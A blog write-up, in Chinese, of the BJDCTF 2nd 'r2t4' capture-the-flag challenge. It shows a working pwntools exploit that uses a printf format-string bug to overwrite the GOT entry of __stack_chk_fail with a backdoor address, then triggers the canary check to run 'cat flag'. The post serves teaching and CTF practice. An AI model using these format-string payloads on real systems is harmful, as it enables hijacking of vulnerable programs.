[BJDCTF 2nd]r2t4

12 篇文章 1 订阅

先查看一下程序的保护,是一个64位的程序,开启了堆栈不可执行保护和金丝雀
在这里插入图片描述
用IDA分析一下程序,main函数中先读取用户输入,然后格式化输出buf区域内容
在这里插入图片描述
还发现了一个名为backdoor的函数,这个函数可以执行系统命令读取flag的内容
在这里插入图片描述
首先,printf函数存在格式化输出漏洞,通过格式化输出我们可以确定偏移
在这里插入图片描述
也可以直接用libformatstr计算

from libformatstr import *
from pwn import *
from binascii import *
context.log_level = 'debug'
bufsiz = 50
elf = ELF('./r2t4')
r = process('./r2t4')
r.sendline(make_pattern(bufsiz))
data = r.recv()
offset, padding = guess_argnum(data,bufsiz)
log.info("offset :" + str(offset))
log.info("padding :"+str(padding))

在这里插入图片描述
得到偏移为6
虽然read存在溢出,且格式化输出漏洞也会造成canary leak,但是溢出的长度太短,而且只有一次read,无法继续向栈中继续写入payload,因此常规的栈溢出无法利用
但是,这里可以通过劫持__stack_chk_fail函数来达到控制程序流的目的
__ stack_check_fail本质上也只是动态加载的一个库函数,和puts是一样的。如果程序中没有调用别的可控函数,那么就可以先劫持__stack_chk_fail函数,再故意引发canary错误,从而调用目标函数。
整理一下思路,利用格式化字符串漏洞修改got表中的__stack_chk_fail函数为我们的后门函数backdoor的地址,再故意造成溢出从而执行后门函数。
参考两篇文章 64位格式化字符串漏洞修改got表利用详解格式化字符串漏洞利用

  1. 32位的payload :payload = p32(泄露地址) + %偏移$x,这不适用64位。因为64位地址高位多为
    ‘\00’,这样就会使我们send 的地址和我们构造的格式化字符串中间还有好多个 ‘\00’ ,而在字符串中 ‘\00’
    就代表了结束,所以在printf到’\00’时,就被认为字符串已经结束了,自然不会继续往后面printf了。所以我们需要把地址放到后面
  2. 或许有人会这么构造payload = ‘a’ * backdoor_addr + %偏移$n +
    p64(__stack_chk_fail),但想想这里要读入多少个’a’啊!谁的程序中会一次读取那么多字符?所以要换为另一个格式字符,%c
    ,读入的字符屈指可数,但经过格式化漏洞转换后,那就是num个字符的输出同样可以达到相同的修改数据的效果
  3. 64位程序,printf在输出大量字符时有时会异常,就像前面一次性读入大量字符会异常一样,printf在一次性输出这么大量的字符时也会出现异常。所以解决办法便是一个一个字节来做出修改或者两个两个来,具体怎么修改这里不展开讲了。

system(“cat flag")的地址为0x00400626,因为是小端存储,所以我们需要将高字节写入高地址,低字节写入低地址,也是就将0x0040写入0x601018+2的地址,0x0626写入0x601018,这样系统再读0x601018的内容时也就识别为0x00400626
在这里插入图片描述
这里exp使用的$hn表示是以2个字节写入,一次写入2字节,当然也可以选择一次写入4、8字节但是这样可能会导致程序崩溃,所以具体多少字节的写入要看具体情况(%$hhn表示写入的地址空间为1字节,$n表示写入的地址空间为4字节,%$lln表示写入的地址空间为8字节)

exp:

from pwn import *

context.log_level = 'debug'

p = remote("node3.buuoj.cn",29497)

elf = ELF('./r2t4')

__stack_chk_fail=elf.got['__stack_chk_fail']
print len(p64(__stack_chk_fail+2))
pay = "%64c%9$hn%1510c%10$hnAAA" + p64(__stack_chk_fail+2) + p64(__stack_chk_fail)
#pay = "%4195878c%8$nAAA" + p64(__stack_chk_fail) + "a"*17
p.sendline(pay)
p.interactive()

%64c%9$hn%1510c%10$hnAAA"这一串做个解释

64:0x40,对应backdoor函数地址的高两字节0x0040
9:由于格式化字符串%64c%9$hn%1510c%10$hnAAA占用了24个字节,根据64程序,所以偏移6+3=9
$hn:将已输出的字符数低2字节写到指定地址
1510:1510+64=1574=0x626,对应backdoor函数地址的低两字节0x0626
10 :在偏移9的基础上加上p64(__stack_chk_fail+2)地址的一字节,即偏移为10
AAA:填充作用,栈对齐,使之为8的倍数
p64(__ stack_chk_fail+2) + p64(__stack_chk_fail) :将backdoor函数地址分为高两个字节和低两字节进行写入
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值